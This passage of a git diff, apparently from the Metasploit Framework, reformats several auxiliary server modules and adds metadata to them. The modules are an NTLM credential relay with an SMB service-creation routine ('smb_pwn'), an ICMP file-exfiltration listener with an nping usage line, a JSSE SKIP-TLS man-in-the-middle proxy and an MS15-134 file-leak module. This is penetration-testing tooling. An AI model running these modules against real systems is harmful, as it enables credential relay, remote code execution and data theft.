specific password that should be allowed access"], fallbacks: ['PASSWORD']), + ] + ) end def run exploit() end - def on_client_command_user(c,arg) + def on_client_command_user(c, arg) @state[c][:user] = arg - if(not datastore['FTPUSER'] or (arg == datastore['FTPUSER'])) + if (not datastore['FTPUSER'] or (arg == datastore['FTPUSER'])) c.put "331 User name okay, need password...\r\n" else c.put "500 User name invalid\r\n" @@ -48,9 +47,9 @@ def on_client_command_user(c,arg) return end - def on_client_command_pass(c,arg) + def on_client_command_pass(c, arg) @state[c][:pass] = arg - if(not datastore['FTPPASS'] or (arg == datastore['FTPPASS'])) + if (not datastore['FTPPASS'] or (arg == datastore['FTPPASS'])) c.put "230 Login OK\r\n" @state[c][:auth] = true else @@ -60,22 +59,22 @@ def on_client_command_pass(c,arg) return end - def on_client_command_retr(c,arg) + def on_client_command_retr(c, arg) print_status("#{@state[c][:name]} FTP download request for #{arg}") - if(not @state[c][:auth]) + if (not @state[c][:auth]) c.put "500 Access denied\r\n" return end path = ::File.join(datastore['FTPROOT'], Rex::FileUtils.clean_path(arg)) - if(not ::File.exist?(path)) + if (not ::File.exist?(path)) c.put "550 File does not exist\r\n" return end conn = establish_data_connection(c) - if(not conn) + if (not conn) c.put("425 Can't build data connection\r\n") return end @@ -86,15 +85,14 @@ def on_client_command_retr(c,arg) conn.close end - def on_client_command_list(c,arg) - - if(not @state[c][:auth]) + def on_client_command_list(c, arg) + if (not @state[c][:auth]) c.put "500 Access denied\r\n" return end conn = establish_data_connection(c) - if(not conn) + if (not conn) c.put("425 Can't build data connection\r\n") return end @@ -105,10 +103,10 @@ def on_client_command_list(c,arg) begin Dir.new(pwd).entries.each do |ent| path = ::File.join(datastore['FTPROOT'], ent) - if(::File.directory?(path)) + if (::File.directory?(path)) buf << "drwxr-xr-x 2 0 0 512 Jan 1 2000 #{ent}\r\n" end - if(::File.file?(path)) + if (::File.file?(path)) buf << "-rw-r--r-- 1 0 0 #{::File.size(path)} Jan 1 2000 #{ent}\r\n" end end @@ -121,15 +119,14 @@ def on_client_command_list(c,arg) conn.close end - def on_client_command_size(c,arg) - - if(not @state[c][:auth]) + def on_client_command_size(c, arg) + if (not @state[c][:auth]) c.put "500 Access denied\r\n" return end path = ::File.join(datastore['FTPROOT'], Rex::FileUtils.clean_path(arg)) - if(not ::File.exist?(path)) + if (not ::File.exist?(path)) c.put "550 File does not exist\r\n" return end @@ -137,10 +134,8 @@ def on_client_command_size(c,arg) c.put("213 #{::File.size(path)}\r\n") end - - def on_client_command_cwd(c,arg) - - if(not @state[c][:auth]) + def on_client_command_cwd(c, arg) + if (not @state[c][:auth]) c.put "500 Access denied\r\n" return end diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index 2ab4881615d9f..722f5c37b329a 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -5,7 +5,6 @@ require 'rex/exceptions' - NTLM_CONST = Rex::Proto::NTLM::Constants NTLM_CRYPT = Rex::Proto::NTLM::Crypt MESSAGE = Rex::Proto::NTLM::Message @@ -16,14 +15,16 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report # Aliases for common classes - XCEPT = Rex::Proto::SMB::Exceptions - CONST = Rex::Proto::SMB::Constants + XCEPT = Rex::Proto::SMB::Exceptions + CONST = Rex::Proto::SMB::Constants NDR = Rex::Encoder::NDR def initialize(info = {}) - super(update_info(info, - 'Name' => 'HTTP Client MS Credential Relayer', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'HTTP Client MS Credential Relayer', + 'Description' => %q{ This module relays negotiated NTLM Credentials from an HTTP server to multiple protocols. Currently, this module supports relaying to SMB and HTTP. @@ -35,26 +36,34 @@ def initialize(info = {}) or authentication cookies, setting these as configuration options, and finally create a web page with iframe elements pointing at the HTTP_GET and HTTP_POSTs. }, - 'Author' => - [ + 'Author' => [ 'Rich Lundeen ', ], - 'License' => MSF_LICENSE, - 'Actions' => - [ + 'License' => MSF_LICENSE, + 'Actions' => [ [ 'WebServer', 'Description' => 'Start web server waiting for incoming authenticated connections' ] ], - 'PassiveActions' => - [ + 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer')) + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options([ OptBool.new('RSSL', [true, "SSL on the remote connection ", false]), - OptEnum.new('RTYPE', [true, "Type of action to perform on remote target", "HTTP_GET", - [ "HTTP_GET", "HTTP_POST", "SMB_GET", "SMB_PUT", "SMB_RM", "SMB_ENUM", - "SMB_LS", "SMB_PWN" ]]), + OptEnum.new('RTYPE', [ + true, "Type of action to perform on remote target", "HTTP_GET", + [ + "HTTP_GET", "HTTP_POST", "SMB_GET", "SMB_PUT", "SMB_RM", "SMB_ENUM", + "SMB_LS", "SMB_PWN" + ] + ]), OptString.new('RURIPATH', [true, "The path to relay credentials ", "/"]), OptString.new('PUTDATA', [false, "This is the HTTP_POST or SMB_PUT data" ]), OptPath.new('FILEPUTDATA', [false, "PUTDATA, but specified by a local file" ]), @@ -64,21 +73,26 @@ def initialize(info = {}) ]) register_advanced_options([ - OptPath.new('RESPPAGE', [false, - 'The file used for the server response. (Image extensions matter)', nil]), - OptPath.new('HTTP_HEADERFILE', [false, - 'File specifying extra HTTP_* headers (cookies, multipart, etc.)', nil]), - OptString.new('SMB_SHARES', [false, 'The shares to check with SMB_ENUM', - 'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol']) + OptPath.new('RESPPAGE', [ + false, + 'The file used for the server response. (Image extensions matter)', nil + ]), + OptPath.new('HTTP_HEADERFILE', [ + false, + 'File specifying extra HTTP_* headers (cookies, multipart, etc.)', nil + ]), + OptString.new('SMB_SHARES', [ + false, 'The shares to check with SMB_ENUM', + 'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol' + ]) ]) deregister_options('DOMAIN', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey', - 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2') + 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2') end # Handles the initial requests waiting for the browser to try NTLM auth def on_request_uri(cli, request) - case request.method when 'OPTIONS' process_options(cli, request) @@ -86,7 +100,7 @@ def on_request_uri(cli, request) cli.keepalive = true; # If the host has not started auth, send 401 authenticate with only the NTLM option - if(!request.headers['Authorization']) + if (!request.headers['Authorization']) response = create_response(401, "Unauthorized") response.headers['WWW-Authenticate'] = "NTLM" response.headers['Proxy-Support'] = 'Session-Based-Authentication' @@ -97,10 +111,10 @@ def on_request_uri(cli, request) cli.send_response(response) return false end - method,hash = request.headers['Authorization'].split(/\s+/,2) + method, hash = request.headers['Authorization'].split(/\s+/, 2) # If the method isn't NTLM something odd is going on. # Regardless, this won't get what we want, 404 them - if(method != "NTLM") + if (method != "NTLM") print_status("Unrecognized Authorization header, responding with 404") send_not_found(cli) return false @@ -112,7 +126,7 @@ def on_request_uri(cli, request) sync_options() end - handle_relay(cli,hash) + handle_relay(cli, hash) end end @@ -125,14 +139,14 @@ def process_options(cli, request) print_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', - 'DASL' => '', - 'DAV' => '1, 2', - 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', - 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', + 'DASL' => '', + 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', + 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") - headers.each_pair {|k,v| resp[k] = v } + headers.each_pair { |k, v| resp[k] = v } resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) @@ -144,21 +158,21 @@ def handle_relay(cli_sock, hash) message = Rex::Text.decode_base64(hash) # get type of message, which will be HTTP, SMB, ... protocol = datastore['RTYPE'].split('_')[0] - if(message[8,1] != "\x03") + if (message[8, 1] != "\x03") # Relay NTLMSSP_NETOTIATE from client to server (type 1) case protocol - when 'HTTP' - resp, ser_sock = http_relay_toserver(hash) - if resp.headers["WWW-Authenticate"] - t2hash = resp.headers["WWW-Authenticate"].split(" ")[1] - else - print_error "#{rhost} is not requesting authentication." - cli_sock.close - ser_sock.close - return false - end - when 'SMB' - t2hash, ser_sock = smb_relay_toservert1(hash) + when 'HTTP' + resp, ser_sock = http_relay_toserver(hash) + if resp.headers["WWW-Authenticate"] + t2hash = resp.headers["WWW-Authenticate"].split(" ")[1] + else + print_error "#{rhost} is not requesting authentication." + cli_sock.close + ser_sock.close + return false + end + when 'SMB' + t2hash, ser_sock = smb_relay_toservert1(hash) end # goes along with above, resp is now just the hash client_respheader = "NTLM " << t2hash @@ -176,34 +190,34 @@ def handle_relay(cli_sock, hash) # Get the type 3 hash from the client and relay to the server cli_type3Data = cli_sock.get_once(-1, 5) begin - cli_type3Header = cli_type3Data.split(/\r\nAuthorization:\s+NTLM\s+/,2)[1] - cli_type3Hash = cli_type3Header.split(/\r\n/,2)[0] + cli_type3Header = cli_type3Data.split(/\r\nAuthorization:\s+NTLM\s+/, 2)[1] + cli_type3Hash = cli_type3Header.split(/\r\n/, 2)[0] rescue ::NoMethodError print_error("Error: Type3 hash not relayed.") cli_sock.close() return false end case protocol - when 'HTTP' - resp, ser_sock = http_relay_toserver(cli_type3Hash, ser_sock) - when 'SMB' - ser_sock = smb_relay_toservert3(cli_type3Hash, ser_sock) - # perform authenticated action - action = datastore['RTYPE'].split('_')[1] - case action - when 'GET' - resp = smb_get(ser_sock) - when 'PUT' - resp = smb_put(ser_sock) - when 'RM' - resp = smb_rm(ser_sock) - when 'ENUM' - resp = smb_enum(ser_sock) - when 'LS' - resp = smb_ls(ser_sock) - when 'PWN' - resp = smb_pwn(ser_sock, cli_sock) - end + when 'HTTP' + resp, ser_sock = http_relay_toserver(cli_type3Hash, ser_sock) + when 'SMB' + ser_sock = smb_relay_toservert3(cli_type3Hash, ser_sock) + # perform authenticated action + action = datastore['RTYPE'].split('_')[1] + case action + when 'GET' + resp = smb_get(ser_sock) + when 'PUT' + resp = smb_put(ser_sock) + when 'RM' + resp = smb_rm(ser_sock) + when 'ENUM' + resp = smb_enum(ser_sock) + when 'LS' + resp = smb_ls(ser_sock) + when 'PWN' + resp = smb_pwn(ser_sock, cli_sock) + end end report_info(resp, cli_type3Hash) @@ -261,7 +275,7 @@ def http_relay_toserver(hash, ser_sock = nil) method = datastore['RTYPE'].split('_')[1] theaders = ('Authorization: NTLM ' << hash << "\r\n" << - "Connection: Keep-Alive\r\n" ) + "Connection: Keep-Alive\r\n") # HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc if datastore['HTTP_HEADERFILE'] != nil @@ -272,16 +286,17 @@ def http_relay_toserver(hash, ser_sock = nil) raise ArgumentError end # read file line by line to deal with any dos/unix ending ambiguity - File.readlines(datastore['HTTP_HEADERFILE']).each do|header| + File.readlines(datastore['HTTP_HEADERFILE']).each do |header| next if header.strip == '' + theaders << (header) << "\r\n" end end opts = { - 'uri' => normalize_uri(datastore['RURIPATH']), - 'method' => method, - 'version' => '1.1', + 'uri' => normalize_uri(datastore['RURIPATH']), + 'method' => method, + 'version' => '1.1', } if (@finalputdata != nil) # we need to get rid of an extra "\r\n" @@ -314,11 +329,11 @@ def smb_relay_toservert1(hash) rsock = Rex::Socket::Tcp.create( 'PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['RPORT'], - 'Timeout' => 3, - 'Context' => + 'Timeout' => 3, + 'Context' => { - 'Msf' => framework, - 'MsfExploit'=> self, + 'Msf' => framework, + 'MsfExploit' => self, } ) if (not rsock) @@ -341,10 +356,10 @@ def smb_relay_toservert1(hash) ser_sock.client.auth_user_id = resp['Payload']['SMB'].v['UserID'] begin - #lazy ntlmsspblob extraction + # lazy ntlmsspblob extraction ntlmsspblob = 'NTLMSSP' << - (resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) << - "\x00\x00" + (resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) << + "\x00\x00" rescue ::Exception => e print_error("Type 2 response not read properly from server") raise e @@ -371,10 +386,10 @@ def smb_relay_toservert3(hash, ser_sock) ) resp = ser_sock.client.session_setup_with_ntlmssp_blob( - blob, - false, - ser_sock.client.auth_user_id - ) + blob, + false, + ser_sock.client.auth_user_id + ) resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) # check if auth was successful @@ -458,14 +473,13 @@ def smb_ls(ser_sock) ) if datastore["VERBOSE"] - files.each {|filename| print_status(" #{filename[0]}")} + files.each { |filename| print_status(" #{filename[0]}") } end return files end # start a service. This method copies a lot of logic/code from psexec (and smb_relay) def smb_pwn(ser_sock, cli_sock) - # filename is a little finicky, it needs to be in a format like # "%SystemRoot%\\system32\\calc.exe" or "\\\\host\\c$\\WINDOWS\\system32\\calc.exe filename = datastore['RURIPATH'] @@ -489,7 +503,7 @@ def smb_pwn(ser_sock, cli_sock) begin response = dcerpc.call(0x0f, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - scm_handle = dcerpc.last_response.stub_data[0,20] + scm_handle = dcerpc.last_response.stub_data[0, 20] end rescue ::Exception => e print_error("Error: #{e}") @@ -499,7 +513,7 @@ def smb_pwn(ser_sock, cli_sock) print_status("Creating a new service") servicename = Rex::Text::rand_text_alpha(8) - displayname = Rex::Text::rand_text_alpha(rand(32)+1) + displayname = Rex::Text::rand_text_alpha(rand(32) + 1) svc_handle = nil stubdata = @@ -510,7 +524,6 @@ def smb_pwn(ser_sock, cli_sock) NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring(filename) + # Binary Path NDR.long(0) + # LoadOrderGroup NDR.long(0) + # Dependencies @@ -521,14 +534,14 @@ def smb_pwn(ser_sock, cli_sock) NDR.long(0) # Password begin - response = dcerpc.call(0x0c, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - #svc_status = dcerpc.last_response.stub_data[24,4] - end + response = dcerpc.call(0x0c, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0, 20] + # svc_status = dcerpc.last_response.stub_data[24,4] + end rescue ::Exception => e - print_error("Error: #{e}") - return + print_error("Error: #{e}") + return end print_status("Closing service handle...") @@ -540,13 +553,13 @@ def smb_pwn(ser_sock, cli_sock) print_status("Opening service...") begin stubdata = - scm_handle + - NDR.wstring(servicename) + - NDR.long(0xF01FF) + scm_handle + + NDR.wstring(servicename) + + NDR.long(0xF01FF) response = dcerpc.call(0x10, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] + svc_handle = dcerpc.last_response.stub_data[0, 20] end rescue ::Exception => e print_error("Error: #{e}") @@ -611,26 +624,28 @@ def report_info(resp, type3_hash) # mostly taken from http_ntlm module handle_auth function def get_hash_info(type3_hash) # authorization string is base64 encoded message - domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(type3_hash) + domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(type3_hash) nt_len = ntlm_hash.length - if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session - arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, + if nt_len == 48 # lmv1/ntlmv1 or ntlm2_session + arg = { + :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :lm_hash => lm_hash, :nt_hash => ntlm_hash } - if arg[:lm_hash][16,32] == '0' * 32 + if arg[:lm_hash][16, 32] == '0' * 32 arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE end # if the length of the ntlm response is not 24 then it will be bigger and represent # a ntlmv2 response - elsif nt_len > 48 #lmv2/ntlmv2 - arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, - :lm_hash => lm_hash[0, 32], + elsif nt_len > 48 # lmv2/ntlmv2 + arg = { + :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, + :lm_hash => lm_hash[0, 32], :lm_cli_challenge => lm_hash[32, 16], - :nt_hash => ntlm_hash[0, 32], - :nt_cli_challenge => ntlm_hash[32, nt_len - 32] + :nt_hash => ntlm_hash[0, 32], + :nt_cli_challenge => ntlm_hash[32, nt_len - 32] } elsif nt_len == 0 print_status("Empty hash from #{host} captured, ignoring ... ") diff --git a/modules/auxiliary/server/icmp_exfil.rb b/modules/auxiliary/server/icmp_exfil.rb index a201ede8b4056..b60afc678a1b7 100644 --- a/modules/auxiliary/server/icmp_exfil.rb +++ b/modules/auxiliary/server/icmp_exfil.rb @@ -9,8 +9,8 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'ICMP Exfiltration Service', - 'Description' => %q{ + 'Name' => 'ICMP Exfiltration Service', + 'Description' => %q{ This module is designed to provide a server-side component to receive and store files exfiltrated over ICMP echo request packets. @@ -24,37 +24,36 @@ def initialize Data can be sent from the client using a variety of tools. One such example is nping (included with the NMAP suite of tools) - usage: nping --icmp 10.0.0.1 --data-string "BOFtest.txt" -c1 }, - 'Author' => 'Chris John Riley', - 'License' => MSF_LICENSE, - 'References' => - [ - # packetfu - ['URL','https://github.com/todb/packetfu'], - # nping - ['URL', 'https://nmap.org/book/nping-man.html'], - # simple icmp - ['URL', 'https://blog.c22.cc/2012/02/17/quick-post-fun-with-python-ctypes-simpleicmp/'] - ] + 'Author' => 'Chris John Riley', + 'License' => MSF_LICENSE, + 'References' => [ + # packetfu + ['URL', 'https://github.com/todb/packetfu'], + # nping + ['URL', 'https://nmap.org/book/nping-man.html'], + # simple icmp + ['URL', 'https://blog.c22.cc/2012/02/17/quick-post-fun-with-python-ctypes-simpleicmp/'] + ] ) register_options([ OptString.new('START_TRIGGER', [true, 'Trigger for beginning of file', '^BOF']), - OptString.new('END_TRIGGER', [true, 'Trigger for end of file', '^EOF']), - OptString.new('RESP_START', [true, 'Data to respond when initial trigger matches', 'SEND']), - OptString.new('RESP_CONT', [true, 'Data ro resond when continuation of data expected', 'OK']), - OptString.new('RESP_END', [true, 'Data to response when EOF received and data saved', 'COMPLETE']), - OptString.new('BPF_FILTER', [true, 'BFP format filter to listen for', 'icmp']), - OptString.new('INTERFACE', [false, 'The name of the interface']), + OptString.new('END_TRIGGER', [true, 'Trigger for end of file', '^EOF']), + OptString.new('RESP_START', [true, 'Data to respond when initial trigger matches', 'SEND']), + OptString.new('RESP_CONT', [true, 'Data ro resond when continuation of data expected', 'OK']), + OptString.new('RESP_END', [true, 'Data to response when EOF received and data saved', 'COMPLETE']), + OptString.new('BPF_FILTER', [true, 'BFP format filter to listen for', 'icmp']), + OptString.new('INTERFACE', [false, 'The name of the interface']), OptBool.new('FNAME_IN_PACKET', [true, 'Filename presented in first packet straight after START_TRIGGER', true]) ]) register_advanced_options([ - OptEnum.new('CLOAK', [true, 'OS fingerprint to use for packet creation', 'linux', ['windows', 'linux', 'freebsd']]), - OptBool.new('PROMISC', [true, 'Enable/Disable promiscuous mode', false]), + OptEnum.new('CLOAK', [true, 'OS fingerprint to use for packet creation', 'linux', ['windows', 'linux', 'freebsd']]), + OptBool.new('PROMISC', [true, 'Enable/Disable promiscuous mode', false]), OptAddress.new('LOCALIP', [false, 'The IP address of the local interface']) ]) - deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT', 'TIMEOUT') + deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT', 'TIMEOUT') end def run @@ -84,7 +83,6 @@ def run # start icmp listener process - loop icmp_listener - ensure store_file print_status("\nStopping ICMP listener on #{@interface} (#{@iface_ip})") @@ -100,13 +98,13 @@ def icmp_listener end cap = PacketFu::Capture.new( - :iface => @interface, - :start => true, - :filter => datastore['BPF_FILTER'], - :promisc => datastore['PROMISC'] - ) + :iface => @interface, + :start => true, + :filter => datastore['BPF_FILTER'], + :promisc => datastore['PROMISC'] + ) loop { - cap.stream.each do | pkt | + cap.stream.each do |pkt| packet = PacketFu::Packet.parse(pkt) data = packet.payload[4..-1] @@ -140,7 +138,7 @@ def icmp_listener # set filename from data in incoming icmp packet if datastore['FNAME_IN_PACKET'] - @filename = data[((datastore['START_TRIGGER'].length)-1)..-1].strip + @filename = data[((datastore['START_TRIGGER'].length) - 1)..-1].strip end # if filename not sent in packet, or FNAME_IN_PACKET false set time based name if not datastore['FNAME_IN_PACKET'] or @filename.empty? @@ -210,8 +208,8 @@ def icmp_packet(packet, contents) src_mac = packet.eth_daddr @dst_ip = packet.ip_saddr dst_mac = packet.eth_saddr - icmp_id = packet.payload[0,2] - icmp_seq = packet.payload[2,2] + icmp_id = packet.payload[0, 2] + icmp_seq = packet.payload[2, 2] # create payload with matching id/seq resp_payload = icmp_id + icmp_seq + contents @@ -241,13 +239,13 @@ def store_file # store the file in loot if data is present if @record_data and not @record_data.empty? loot = store_loot( - "icmp_exfil", - "text/xml", - @src_ip, - @record_data, - @filename, - "ICMP Exfiltrated Data" - ) + "icmp_exfil", + "text/xml", + @src_ip, + @record_data, + @filename, + "ICMP Exfiltrated Data" + ) print_good("Incoming file \"#{@filename}\" saved to loot") print_good("Loot filename: #{loot}") end diff --git a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb index f12a7e0354b19..4bcafc8e94288 100644 --- a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb +++ b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb @@ -10,8 +10,8 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Java Secure Socket Extension (JSSE) SKIP-TLS MITM Proxy', - 'Description' => %q{ + 'Name' => 'Java Secure Socket Extension (JSSE) SKIP-TLS MITM Proxy', + 'Description' => %q{ This module exploits an incomplete internal state distinction in Java Secure Socket Extension (JSSE) by impersonating the server and finishing the handshake before the peers have authenticated themselves and instantiated @@ -22,20 +22,17 @@ def initialize plaintext application data transmitted between the peers to be saved. This module requires an active man-in-the-middle attack. }, - 'Author' => - [ - 'Ramon de C Valle' - ], + 'Author' => [ + 'Ramon de C Valle' + ], 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Service', 'Description' => 'Run MITM proxy' ] - ], - 'PassiveActions' => - [ - 'Service' - ], - 'DefaultAction' => 'Service', + 'Actions' => [ + [ 'Service', 'Description' => 'Run MITM proxy' ] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service', 'References' => [ ['CVE', '2014-6593'], ['CWE', '372'], @@ -55,7 +52,8 @@ module requires an active man-in-the-middle attack. OptPort.new('PORT', [ true, 'The server port', 443]), OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']), OptString.new('SRVPORT', [ true, 'The proxy port', 443]) - ]) + ] + ) end def cleanup @@ -109,7 +107,7 @@ def run @proxy = Rex::Socket::TcpServer.create( 'LocalHost' => local_host, 'LocalPort' => local_port, - 'Context' => { + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } @@ -130,13 +128,14 @@ def run fake_server = Rex::Socket::Tcp.create( 'PeerHost' => fake_host, 'PeerPort' => fake_port, - 'SSL' => true, + 'SSL' => true, 'SSLVerifyMode' => 'NONE', - 'Context' => + 'Context' => { - 'Msf' => framework, + 'Msf' => framework, 'MsfExploit' => self - }) + } + ) add_socket(fake_server) print_status('Connected to %s:%d' % [fake_host, fake_port]) @@ -144,11 +143,12 @@ def run server = Rex::Socket::Tcp.create( 'PeerHost' => host, 'PeerPort' => port, - 'Context' => + 'Context' => { - 'Msf' => framework, + 'Msf' => framework, 'MsfExploit' => self - }) + } + ) add_socket(server) print_status('Connected to %s:%d' % [host, port]) @@ -168,6 +168,7 @@ def run else header = r.get_once(5) raise EOFError if header.nil? + fragment_length = header[3, 2].unpack('n')[0] fragment = '' while fragment_length > 0 @@ -241,7 +242,6 @@ def run end end end - rescue EOFError, Errno::ECONNRESET path = store_loot( 'tls.application_data', diff --git a/modules/auxiliary/server/local_hwbridge.rb b/modules/auxiliary/server/local_hwbridge.rb index 2f00f598623a5..04822dfd5abac 100644 --- a/modules/auxiliary/server/local_hwbridge.rb +++ b/modules/auxiliary/server/local_hwbridge.rb @@ -14,30 +14,37 @@ class MetasploitModule < Msf::Auxiliary HWBRIDGE_API_VERSION = "0.0.4" def initialize(info = {}) - super(update_info(info, - 'Name' => 'Hardware Bridge Server', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Hardware Bridge Server', + 'Description' => %q{ This module sets up a web server to bridge communications between - Metasploit and physically attached hardware. - Currently this module supports: automotive - }, - 'Author' => [ 'Craig Smith' ], - 'License' => MSF_LICENSE, - 'Actions' => - [ + Metasploit and physically attached hardware. + Currently this module supports: automotive + }, + 'Author' => [ 'Craig Smith' ], + 'License' => MSF_LICENSE, + 'Actions' => [ [ 'WebServer', 'Description' => 'Run HWBridge web server' ] ], - 'PassiveActions' => - [ + 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer')) + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) - @operational_status = 0 # 0=unk, 1=connected, 2=not connected + @operational_status = 0 # 0=unk, 1=connected, 2=not connected @last_errors = {} @server_started = Time.new @can_interfaces = [] - @pkt_response = {} # Candump returned packets + @pkt_response = {} # Candump returned packets @packets_sent = 0 @last_sent = nil end @@ -119,8 +126,8 @@ def get_auto_supported_buses def cansend(bus, id, data) result = {} result["Success"] = false - id = id.to_i(16).to_s(16) # Clean up the HEX - bytes = data.scan(/../) # Break up data string into 2 char (byte) chunks + id = id.to_i(16).to_s(16) # Clean up the HEX + bytes = data.scan(/../) # Break up data string into 2 char (byte) chunks if bytes.size > 8 print_error("Data section can only contain a max of 8 bytes") return result @@ -249,7 +256,6 @@ def isotp_send_and_wait(bus, srcid, dstid, data, opt = {}) end end result - end # @@ -300,7 +306,7 @@ def on_request_uri(cli, request) opt['MAXPKTS'] = $1 if request.uri =~ /&maxpkts=(\d+)/ opt['PADDING'] = $1 if request.uri =~ /&padding=(\d+)/ opt['FC'] = true if request.uri =~ /&fc=true/i - send_response_html(cli, isotp_send_and_wait(bus, srcid, dstid, data, opt).to_json(), { 'Content-Type' => 'application/json' }) + send_response_html(cli, isotp_send_and_wait(bus, srcid, dstid, data, opt).to_json(), { 'Content-Type' => 'application/json' }) else send_response_html(cli, not_supported().to_json(), { 'Content-Type' => 'application/json' }) end diff --git a/modules/auxiliary/server/ms15_134_mcl_leak.rb b/modules/auxiliary/server/ms15_134_mcl_leak.rb index 7bff64007df45..1ff9d327286a2 100644 --- a/modules/auxiliary/server/ms15_134_mcl_leak.rb +++ b/modules/auxiliary/server/ms15_134_mcl_leak.rb @@ -11,38 +11,45 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS15-134 Microsoft Windows Media Center MCL Information Disclosure', - 'Description' => %q{ - This module exploits a vulnerability found in Windows Media Center. It allows an MCL - file to render itself as an HTML document in the local machine zone by Internet Explorer, - which can be used to leak files on the target machine. - - Please be aware that if this exploit is used against a patched Windows, it can cause the - computer to be very slow or unresponsive (100% CPU). It seems to be related to how the - exploit uses the URL attribute in order to render itself as an HTML file. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'MS15-134 Microsoft Windows Media Center MCL Information Disclosure', + 'Description' => %q{ + This module exploits a vulnerability found in Windows Media Center. It allows an MCL + file to render itself as an HTML document in the local machine zone by Internet Explorer, + which can be used to leak files on the target machine. + + Please be aware that if this exploit is used against a patched Windows, it can cause the + computer to be very slow or unresponsive (100% CPU). It seems to be related to how the + exploit uses the URL attribute in order to render itself as an HTML file. + }, + 'Author' => [ 'Francisco Falcon', # Vuln discovery & PoCs & Detailed write-ups & awesomeness 'sinn3r' ], - 'References' => - [ + 'References' => [ ['CVE', '2015-6127'], ['MSB', 'MS15-134'], ['URL', 'https://blog.coresecurity.com/2015/12/09/exploiting-windows-media-center/'], ['URL', 'http://www.coresecurity.com/advisories/microsoft-windows-media-center-link-file-incorrectly-resolved-reference'] ], - 'License' => MSF_LICENSE, - 'DisclosureDate' => '2015-12-08', - )) + 'License' => MSF_LICENSE, + 'DisclosureDate' => '2015-12-08', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptString.new('FILENAME', [true, 'The MCL file', 'msf.mcl']), - OptPath.new('FILES', [true, 'Files you wish to download', ::File.join(Msf::Config.data_directory, 'wordlists', 